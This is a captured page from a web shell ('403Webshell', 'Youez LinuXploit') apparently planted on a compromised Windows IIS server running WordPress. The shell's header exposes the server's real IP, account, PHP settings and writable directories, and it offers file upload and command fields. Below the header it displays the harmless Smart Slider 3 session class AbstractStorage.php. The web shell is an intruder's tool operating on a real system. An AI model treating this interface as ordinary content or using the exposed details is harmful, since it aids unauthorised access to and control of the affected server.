403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/ict/wp-content/plugins/smart-slider-3/Nextend/Framework/Session/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/ict/wp-content/plugins/smart-slider-3/Nextend/Framework/Session/AbstractStorage.php
<?php

namespace Nextend\Framework\Session;

use Nextend\Framework\Plugin;
use Nextend\Framework\Request\Request;

abstract class AbstractStorage {

    protected static $expire = 86400; // 1 day

    protected static $salt = 'nextendSalt';

    protected $hash;

    protected $storage = array();

    public $storageChanged = false;

    public function __construct($userIdentifier) {

        $this->register();
        $cookie = Request::$COOKIE->getCmd('nextendsession');
        if ($cookie === '' || substr($cookie, 0, 2) != 'n2' || !preg_match('/^[a-f0-9]{32}$/', substr($cookie, 2))) {
            $this->hash = 'n2' . md5(self::$salt . $userIdentifier);
            setcookie('nextendsession', $this->hash, time() + self::$expire, Request::$SERVER->getVar('HTTP_HOST'));
            Request::$COOKIE->set('nextendsession', $this->hash);
        } else {
            $this->hash = $cookie;
        }

        $this->load();
    }

    /**
     * Load the whole session
     * $this->storage = json_decode(result for $this->hash);
     */
    protected abstract function load();

    /**
     * Store the whole session
     * $this->hash json_encode($this->storage);
     */
    protected abstract function store();

    public function get($key, $default = '') {
        return isset($this->storage[$key]) ? $this->storage[$key] : $default;
    }

    public function set($key, $value) {
        $this->storageChanged = true;

        $this->storage[$key] = $value;
    }

    public function delete($key) {
        $this->storageChanged = true;
        unset($this->storage[$key]);
    }

    /**
     * Register our method for PHP shut down
     */
    protected function register() {
        Plugin::addAction('exit', array(
            $this,
            'shutdown'
        ));
    }

    /**
     * When PHP shuts down, we have to save our session's data if the data changed
     */
    public function shutdown() {
        Plugin::doAction('beforeSessionSave');
        if ($this->storageChanged) {
            $this->store();
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit